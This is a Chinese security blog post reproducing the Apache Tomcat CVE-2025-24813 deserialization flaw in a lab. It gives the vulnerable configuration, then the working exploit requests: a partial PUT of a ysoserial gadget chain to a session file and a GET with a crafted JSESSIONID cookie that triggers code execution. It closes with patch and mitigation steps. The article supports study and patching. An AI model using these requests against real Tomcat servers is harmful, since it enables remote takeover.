CVE-2025-24813:Apache Tomcat远程代码执行漏洞

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

白帽子 2025-03-27 22:08

关注我们❤️,添加星标🌟,一起学安全!

作者:Howell@Timeline Sec 

本文字数:3141 

阅读时长:2~4mins 

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负 

0x01 简介

Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。

0x02 漏洞概述

漏洞编号:CVE-2025-24813

CVE-2025-24813 是一个高危逻辑漏洞,该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。漏洞产生的根本原因是Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符”/”替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器‌。

0x03 利用条件

1)影响版本
– 9.0.0.M1 <= Apache Tomcat <= 9.0.98

  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34

  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

2)其他条件:
– 满足以下条件,攻击者可以访问或修改安全敏感文件

  • DefaultServlet 启用了写入权限(默认禁用)。

  • 服务器启用了 partial PUT(默认启用)。

  • 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)

  • 攻击者已知目标敏感文件的路径以及文件名。

  • 敏感文件是通过 partial PUT 上传的。

  • 满足以下条件,攻击者可以远程代码执行(RCE)

  • DefaultServlet 启用了写入权限(默认禁用)。

  • 服务器启用了partial PUT(默认启用)。

  • Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。

  • 应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。

0x04 环境搭建

安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!
在 
JAVA 中国[1]
 下载JAVA,并配置环境变量。

在 
Apache Tomcat[2]
 下载对应漏洞版本的 Tomcat,并配置用户变量。

打开 Tomcat 文件夹,在 conf/web.xml
 中添加如下配置,开启 File 文件会话存储

<Context>  <Manager className="org.apache.catalina.session.PersistentManager">      <Store className="org.apache.catalina.session.FileStore"/>  </Manager>  </Context>

在 conf/web.xml
 中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。

<servlet>      <servlet-name>default</servlet-name>    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>    <init-param>        <param-name>debug</param-name>        <param-value>0</param-value>    </init-param>    <init-param>        <param-name>readonly</param-name>        <param-value>false</param-value>    </init-param>    <load-on-startup>1</load-on-startup></servlet>

下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入  webapps\ROOT\WEB-INF
,在此路径下新建 lib
 文件夹,将 CC 放入。

启动 Tomcat,并访问 8080 端口,查看是否启动成功。

0x05 漏洞复现

使用 yakit 抓包。

使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 
ysoseri-all.jar 也是可以的)。

由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。

PUT /poc/session HTTP/1.1  Host: localhost:8080  Content-Length: 1000  Content-Range: bytes 0-1000/1200  {{base64decode(反序列化文件内容)}}

在 HTTP 协议中,Content-Range
 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200
 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。

发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT
 目录下会生成一个 .poc.session
 文件。

使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录 work\Catalina\localhost\ROOT

然后发送触发 POC 的包即可。

GET / HTTP/1.1  Host: localhost:8080  Cookie: JSESSIONID=.poc

成功弹出计算器!

0x06 修复方式

  1. 官方修复 Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。 Upgrade to Apache Tomcat 11.0.3 or later Upgrade to Apache Tomcat 10.1.35 or later Upgrade to Apache Tomcat 9.0.99 or late

  2. 临时缓解措施

  3. 禁用 DefaultServlet 写入功能:在 web.xml
     中确保 readonly=true

  4. 禁用文件会话持久化:移除 context.xml
     中的 PersistentManager 配置。

  5. 移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。

历史复现

CVE-2024-50379

CVE-2020-1938

参考资料

[1] 
JAVA 中国: https://www.oracle.com/cn/java/technologies/downloads/

[2] 
Apache Tomcat: https://tomcat.apache.org/

回复
【加群】
进入微信交流群

回复
【SRC群】
进入SRC-QQ交流群

回复
【新人】
领取新人学习指南资料

回复
【面试】
获取渗透测试常见面试题

回复
【手册】
获取原创技术PDF手册

回复
【合作】
获取各类安全项目合作方式

回复
【帮会】
付费加入SRC知识库学习

回复

培训】
获取TimelineSec创办的实战课程

视频号:搜索TimelineSec,官方微博

团队官网:
http://www.timelinesec.com

B站:
https://space.bilibili.com/524591903

觉得有用就点个赞吧!

欢迎评论区留言讨论~